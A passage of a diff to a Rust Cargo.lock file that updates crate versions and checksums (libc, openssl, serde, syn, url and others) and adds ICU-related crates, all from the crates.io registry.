+checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
+dependencies = [
+ "cfg-if 1.0.1",
+ "libc",
+ "r-efi",
+ "wasi 0.14.2+wasi-0.2.4",
+]
+
+[[package]]
+name = "gimli"
+version = "0.31.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f"
 
 [[package]]
 name = "h2"
@@ -480,18 +498,9 @@ dependencies = [
 
 [[package]]
 name = "hermit-abi"
-version = "0.2.6"
+version = "0.5.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "hermit-abi"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fed44880c466736ef9a5c5b5facefb5ed0785676d0c02d612db14e54f0d84286"
+checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c"
 
 [[package]]
 name = "http"
@@ -518,9 +527,9 @@ dependencies = [
 
 [[package]]
 name = "httparse"
-version = "1.8.0"
+version = "1.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904"
+checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"
 
 [[package]]
 name = "hyper"
@@ -588,6 +597,92 @@ dependencies = [
  "serde",
 ]
 
+[[package]]
+name = "icu_collections"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "200072f5d0e3614556f94a9930d5dc3e0662a652823904c3a75dc3b0af7fee47"
+dependencies = [
+ "displaydoc",
+ "potential_utf",
+ "yoke",
+ "zerofrom",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_locale_core"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0cde2700ccaed3872079a65fb1a78f6c0a36c91570f28755dda67bc8f7d9f00a"
+dependencies = [
+ "displaydoc",
+ "litemap",
+ "tinystr",
+ "writeable",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_normalizer"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "436880e8e18df4d7bbc06d58432329d6458cc84531f7ac5f024e93deadb37979"
+dependencies = [
+ "displaydoc",
+ "icu_collections",
+ "icu_normalizer_data",
+ "icu_properties",
+ "icu_provider",
+ "smallvec 1.15.1",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_normalizer_data"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "00210d6893afc98edb752b664b8890f0ef174c8adbb8d0be9710fa66fbbf72d3"
+
+[[package]]
+name = "icu_properties"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "016c619c1eeb94efb86809b015c58f479963de65bdb6253345c1a1276f22e32b"
+dependencies = [
+ "displaydoc",
+ "icu_collections",
+ "icu_locale_core",
+ "icu_properties_data",
+ "icu_provider",
+ "potential_utf",
+ "zerotrie",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_properties_data"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "298459143998310acd25ffe6810ed544932242d3f07083eee1084d83a71bd632"
+
+[[package]]
+name = "icu_provider"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "03c80da27b5f4187909049ee2d72f276f0d9f99a42c306bd0131ecfe04d8e5af"
+dependencies = [
+ "displaydoc",
+ "icu_locale_core",
+ "stable_deref_trait",
+ "tinystr",
+ "writeable",
+ "yoke",
+ "zerofrom",
+ "zerotrie",
+ "zerovec",
+]
+
 [[package]]
 name = "idna"
 version = "0.1.5"
@@ -612,12 +707,23 @@ dependencies = [
 
 [[package]]
 name = "idna"
-version = "0.3.0"
+version = "1.0.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6"
+checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e"
 dependencies = [
- "unicode-bidi",
- "unicode-normalization",
+ "idna_adapter",
+ "smallvec 1.15.1",
+ "utf8_iter",
+]
+
+[[package]]
+name = "idna_adapter"
+version = "1.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344"
+dependencies = [
+ "icu_normalizer",
+ "icu_properties",
 ]
 
 [[package]]
@@ -626,30 +732,10 @@ version = "1.9.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
 dependencies = [
- "autocfg 1.1.0",
+ "autocfg 1.5.0",
  "hashbrown",
 ]
 
-[[package]]
-name = "instant"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "io-lifetimes"
-version = "1.0.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c66c74d2ae7e79a5a8f7ac924adbe38ee42a859c6539ad869eb51f0b52dc220"
-dependencies = [
- "hermit-abi 0.3.1",
- "libc",
- "windows-sys 0.48.0",
-]
-
 [[package]]
 name = "iovec"
 version = "0.1.4"
@@ -659,6 +745,17 @@ dependencies = [
  "libc",
 ]
 
+[[package]]
+name = "is-terminal"
+version = "0.4.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e04d7f318608d35d4b61ddd75cbdaee86b023ebe2bd5a66ee0915f0bf93095a9"
+dependencies = [
+ "hermit-abi 0.5.2",
+ "libc",
+ "windows-sys 0.59.0",
+]
+
 [[package]]
 name = "itoa"
 version = "0.4.8"
@@ -667,9 +764,9 @@ checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4"
 
 [[package]]
 name = "itoa"
-version = "1.0.6"
+version = "1.0.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6"
+checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
 
 [[package]]
 name = "kernel32-sys"
@@ -683,21 +780,27 @@ dependencies = [
 
 [[package]]
 name = "lazy_static"
-version = "1.4.0"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
+checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
 
 [[package]]
 name = "libc"
-version = "0.2.144"
+version = "0.2.174"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b00cc1c228a6782d0f076e7b232802e0c5689d41bb5df366f2a6b6621cfdfe1"
+checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776"
 
 [[package]]
 name = "linux-raw-sys"
-version = "0.3.7"
+version = "0.9.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ece97ea872ece730aed82664c424eb4c8291e1ff2480247ccf7409044bc6479f"
+checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
+
+[[package]]
+name = "litemap"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "241eaef5fd12c88705a01fc1066c48c4b36e0dd4377dcdc7ec3942cea7a69956"
 
 [[package]]
 name = "lock_api"
@@ -710,12 +813,9 @@ dependencies = [
 
 [[package]]
 name = "log"
-version = "0.4.17"
+version = "0.4.27"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
-dependencies = [
- "cfg-if 1.0.0",
-]
+checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94"
 
 [[package]]
 name = "matches"
@@ -731,9 +831,9 @@ checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
 
 [[package]]
 name = "memchr"
-version = "2.5.0"
+version = "2.7.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
+checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0"
 
 [[package]]
 name = "memoffset"
@@ -741,7 +841,7 @@ version = "0.5.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "043175f069eda7b85febe4a74abbaeff828d9f8b448515d3151a14a3542811aa"
 dependencies = [
- "autocfg 1.1.0",
+ "autocfg 1.5.0",
 ]
 
 [[package]]
@@ -752,9 +852,9 @@ checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
 
 [[package]]
 name = "mime_guess"
-version = "2.0.4"
+version = "2.0.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef"
+checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e"
 dependencies = [
  "mime",
  "unicase",
@@ -762,20 +862,11 @@ dependencies = [
 
 [[package]]
 name = "miniz_oxide"
-version = "0.6.2"
+version = "0.8.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b275950c28b37e794e8c55d88aeb5e139d0ce23fdbbeda68f8d7174abdf9e8fa"
+checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
 dependencies = [
- "adler",
-]
-
-[[package]]
-name = "miniz_oxide"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7"
-dependencies = [
- "adler",
+ "adler2",
 ]
 
 [[package]]
@@ -811,11 +902,10 @@ dependencies = [
 
 [[package]]
 name = "native-tls"
-version = "0.2.11"
+version = "0.2.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e"
+checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e"
 dependencies = [
- "lazy_static",
  "libc",
  "log",
  "openssl",
@@ -829,9 +919,9 @@ dependencies = [
 
 [[package]]
 name = "net2"
-version = "0.2.38"
+version = "0.2.39"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74d0df99cfcd2530b2e694f6e17e7f37b8e26bb23983ac530c0c97408837c631"
+checksum = "b13b648036a2339d06de780866fbdfda0dde886de7b3af2ddeba8b14f4ee34ac"
 dependencies = [
  "cfg-if 0.1.10",
  "libc",
@@ -840,46 +930,46 @@ dependencies = [
 
 [[package]]
 name = "num-traits"
-version = "0.2.15"
+version = "0.2.19"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd"
+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
 dependencies = [
- "autocfg 1.1.0",
+ "autocfg 1.5.0",
 ]
 
 [[package]]
 name = "num_cpus"
-version = "1.15.0"
+version = "1.17.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b"
+checksum = "91df4bbde75afed763b708b7eee1e8e7651e02d97f6d5dd763e89367e957b23b"
 dependencies = [
- "hermit-abi 0.2.6",
+ "hermit-abi 0.5.2",
  "libc",
 ]
 
 [[package]]
 name = "object"
-version = "0.30.3"
+version = "0.36.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea86265d3d3dcb6a27fc51bd29a4bf387fae9d2986b823079d4986af253eb439"
+checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87"
 dependencies = [
  "memchr",
 ]
 
 [[package]]
 name = "once_cell"
-version = "1.17.1"
+version = "1.21.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b7e5500299e16ebb147ae15a00a942af264cf3688f47923b8fc2cd5858f23ad3"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
 
 [[package]]
 name = "openssl"
-version = "0.10.52"
+version = "0.10.73"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "01b8574602df80f7b85fdfc5392fa884a4e3b3f4f35402c070ab34c3d3f78d56"
+checksum = "8505734d46c8ab1e19a1dce3aef597ad87dcb4c37e7188231769bd6bd51cebf8"
 dependencies = [
- "bitflags",
- "cfg-if 1.0.0",
+ "bitflags 2.9.1",
+ "cfg-if 1.0.1",
  "foreign-types",
  "libc",
  "once_cell",
@@ -895,29 +985,29 @@ checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.15",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "openssl-probe"
-version = "0.1.5"
+version = "0.1.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
+checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e"
 
 [[package]]
 name = "openssl-src"
-version = "111.25.3+1.1.1t"
+version = "300.5.1+3.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "924757a6a226bf60da5f7dd0311a34d2b52283dd82ddeb103208ddc66362f80c"
+checksum = "735230c832b28c000e3bc117119e6466a663ec73506bc0a9907ea4187508e42a"
 dependencies = [
  "cc",
 ]
 
 [[package]]
 name = "openssl-sys"
-version = "0.9.87"
+version = "0.9.109"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e17f59264b2809d77ae94f0e1ebabc434773f370d6ca667bd223ea10e06cc7e"
+checksum = "90096e2e47630d78b7d1c20952dc621f957103f8bc2c8359ec81290d75238571"
 dependencies = [
  "cc",
  "libc",
@@ -946,9 +1036,9 @@ dependencies = [
  "cfg-if 0.1.10",
  "cloudabi",
  "libc",
- "redox_syscall 0.1.57",
+ "redox_syscall",
  "rustc_version",
- "smallvec",
+ "smallvec 0.6.14",
  "winapi 0.3.9",
 ]
 
@@ -960,15 +1050,15 @@ checksum = "31010dd2e1ac33d5b46a5b413495239882813e0369f8ed8a5e266f173602f831"
 
 [[package]]
 name = "percent-encoding"
-version = "2.2.0"
+version = "2.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e"
+checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
 
 [[package]]
 name = "pkg-config"
-version = "0.3.27"
+version = "0.3.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964"
+checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
 
 [[package]]
 name = "pocket-resources"
@@ -977,10 +1067,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c135f38778ad324d9e9ee68690bac2c1a51f340fdf96ca13e2ab3914eb2e51d8"
 
 [[package]]
-name = "proc-macro2"
-version = "1.0.56"
+name = "potential_utf"
+version = "0.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b63bdb0cd06f1f4dedf69b254734f9b45af66e4a031e42a7480257d9898b435"
+checksum = "e5a7c30837279ca13e7c867e9e40053bc68740f988cb07f7ca6df43cc734b585"
+dependencies = [
+ "zerovec",
+]
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.95"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
 dependencies = [
  "unicode-ident",
 ]
@@ -992,18 +1091,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "95b4ce31ff0a27d93c8de1849cf58162283752f065a90d508f1105fa6c9a213f"
 dependencies = [
  "idna 0.2.3",
- "url 2.3.1",
+ "url 2.5.4",
 ]
 
 [[package]]
 name = "quote"
-version = "1.0.27"
+version = "1.0.40"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f4f29d145265ec1c483c7c654450edde0bfe043d3938d6972630663356d9500"
+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
 dependencies = [
  "proc-macro2",
 ]
 
+[[package]]
+name = "r-efi"
+version = "5.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
+
 [[package]]
 name = "rand"
 version = "0.6.5"
@@ -1125,15 +1230,6 @@ version = "0.1.57"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce"
 
-[[package]]
-name = "redox_syscall"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29"
-dependencies = [
- "bitflags",
-]
-
 [[package]]
 name = "reqwest"
 version = "0.9.24"
@@ -1170,9 +1266,9 @@ dependencies = [
 
 [[package]]
 name = "rustc-demangle"
-version = "0.1.23"
+version = "0.1.25"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76"
+checksum = "989e6739f80c4ad5b13e0fd7fe89531180375b18520cc8c82080e4dc4035b84f"
 
 [[package]]
 name = "rustc_version"
@@ -1185,46 +1281,45 @@ dependencies = [
 
 [[package]]
 name = "rustix"
-version = "0.37.19"
+version = "1.0.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "acf8729d8542766f1b2cf77eb034d52f40d375bb8b615d0b147089946e16613d"
+checksum = "c71e83d6afe7ff64890ec6b71d6a69bb8a610ab78ce364b3352876bb4c801266"
 dependencies = [
- "bitflags",
+ "bitflags 2.9.1",
  "errno",
- "io-lifetimes",
  "libc",
  "linux-raw-sys",
- "windows-sys 0.48.0",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "ryu"
-version = "1.0.13"
+version = "1.0.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f91339c0467de62360649f8d3e185ca8de4224ff281f66000de5eb2a77a79041"
+checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
 
 [[package]]
 name = "schannel"
-version = "0.1.21"
+version = "0.1.27"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "713cfb06c7059f3588fb8044c0fad1d09e3c01d225e25b9220dbfdcf16dbb1b3"
+checksum = "1f29ebaa345f945cec9fbbc532eb307f0fdad8161f281b6369539c8d84876b3d"
 dependencies = [
- "windows-sys 0.42.0",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "scopeguard"
-version = "1.1.0"
+version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
 
 [[package]]
 name = "security-framework"
-version = "2.9.0"
+version = "2.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca2855b3715770894e67cbfa3df957790aa0c9edc3bf06efa1a84d77fa0839d1"
+checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02"
 dependencies = [
- "bitflags",
+ "bitflags 2.9.1",
  "core-foundation",
  "core-foundation-sys",
  "libc",
@@ -1233,9 +1328,9 @@ dependencies = [
 
 [[package]]
 name = "security-framework-sys"
-version = "2.9.0"
+version = "2.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f51d0c0d83bec45f16480d0ce0058397a69e48fcdc52d1dc8855fb68acbd31a7"
+checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32"
 dependencies = [
  "core-foundation-sys",
  "libc",
@@ -1258,31 +1353,32 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
 
 [[package]]
 name = "serde"
-version = "1.0.163"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2113ab51b87a539ae008b5c6c02dc020ffa39afd2d83cffcb3f4eb2722cebec2"
+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
 dependencies = [
  "serde_derive",
 ]
 
 [[package]]
 name = "serde_derive"
-version = "1.0.163"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8c805777e3930c8883389c602315a24224bcc738b63905ef87cd1420353ea93e"
+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.15",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "serde_json"
-version = "1.0.96"
+version = "1.0.140"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "057d394a50403bcac12672b2b18fb387ab6d289d957dab67dd201875391e52f1"
+checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
 dependencies = [
- "itoa 1.0.6",
+ "itoa 1.0.15",
+ "memchr",
  "ryu",
  "serde",
 ]
@@ -1300,13 +1396,16 @@ dependencies = [
 ]
 
 [[package]]
-name = "slab"
-version = "0.4.8"
+name = "shlex"
+version = "1.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6528351c9bc8ab22353f9d776db39a20288e8d6c37ef8cfe3317cf875eecfc2d"
-dependencies = [
- "autocfg 1.1.0",
-]
+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
+
+[[package]]
+name = "slab"
+version = "0.4.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "04dc19736151f35336d325007ac991178d504a119863a2fcb3758cdb5e52c50d"
 
 [[package]]
 name = "smallvec"
@@ -1317,6 +1416,18 @@ dependencies = [
  "maybe-uninit",
 ]
 
+[[package]]
+name = "smallvec"
+version = "1.15.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
+
+[[package]]
+name = "stable_deref_trait"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
+
 [[package]]
 name = "string"
 version = "0.2.1"
@@ -1345,9 +1456,9 @@ dependencies = [
 
 [[package]]
 name = "syn"
-version = "2.0.15"
+version = "2.0.104"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a34fcf3e8b60f57e6a14301a2e916d323af98b0ea63c599441eec8558660c822"
+checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -1367,16 +1478,27 @@ dependencies = [
 ]
 
 [[package]]
-name = "tempfile"
-version = "3.5.0"
+name = "synstructure"
+version = "0.13.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9fbec84f381d5795b08656e4912bec604d162bff9291d6189a78f4c8ab87998"
+checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "tempfile"
+version = "3.20.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
 dependencies = [
- "cfg-if 1.0.0",
  "fastrand",
- "redox_syscall 0.3.5",
+ "getrandom",
+ "once_cell",
  "rustix",
- "windows-sys 0.45.0",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -1396,15 +1518,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a"
 dependencies = [
  "libc",
- "wasi",
+ "wasi 0.10.0+wasi-snapshot-preview1",
  "winapi 0.3.9",
 ]
 
 [[package]]
-name = "tinyvec"
-version = "1.6.0"
+name = "tinystr"
+version = "0.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
+checksum = "5d4f6d1145dcb577acf783d4e601bc1d76a13337bb54e6233add580b07344c8b"
+dependencies = [
+ "displaydoc",
+ "zerovec",
+]
+
+[[package]]
+name = "tinyvec"
+version = "1.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "09b3661f17e86524eccd4371ab0429194e0d7c008abb45f7a7495b1719463c71"
 dependencies = [
  "tinyvec_macros",
 ]
@@ -1550,9 +1682,9 @@ dependencies = [
 
 [[package]]
 name = "try-lock"
-version = "0.2.4"
+version = "0.2.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed"
+checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
 
 [[package]]
 name = "try_from"
@@ -1565,45 +1697,42 @@ dependencies = [
 
 [[package]]
 name = "unicase"
-version = "2.6.0"
+version = "2.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50f37be617794602aabbeee0be4f259dc1778fabe05e2d67ee8f79326d5cb4f6"
-dependencies = [
- "version_check",
-]
+checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539"
 
 [[package]]
 name = "unicode-bidi"
-version = "0.3.13"
+version = "0.3.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460"
+checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5"
 
 [[package]]
 name = "unicode-ident"
-version = "1.0.8"
+version = "1.0.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4"
+checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
 
 [[package]]
 name = "unicode-normalization"
-version = "0.1.22"
+version = "0.1.24"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921"
+checksum = "5033c97c4262335cded6d6fc3e5c18ab755e1a3dc96376350f3d8e9f009ad956"
 dependencies = [
  "tinyvec",
 ]
 
 [[package]]
 name = "unicode-width"
-version = "0.1.10"
+version = "0.1.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b"
+checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af"
 
 [[package]]
 name = "unicode-xid"
-version = "0.2.4"
+version = "0.2.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c"
+checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
 
 [[package]]
 name = "url"
@@ -1618,15 +1747,21 @@ dependencies = [
 
 [[package]]
 name = "url"
-version = "2.3.1"
+version = "2.5.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643"
+checksum = "32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60"
 dependencies = [
  "form_urlencoded",
- "idna 0.3.0",
- "percent-encoding 2.2.0",
+ "idna 1.0.3",
+ "percent-encoding 2.3.1",
 ]
 
+[[package]]
+name = "utf8_iter"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
+
 [[package]]
 name = "uuid"
 version = "0.7.4"
@@ -1648,12 +1783,6 @@ version = "0.8.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
 
-[[package]]
-name = "version_check"
-version = "0.9.4"
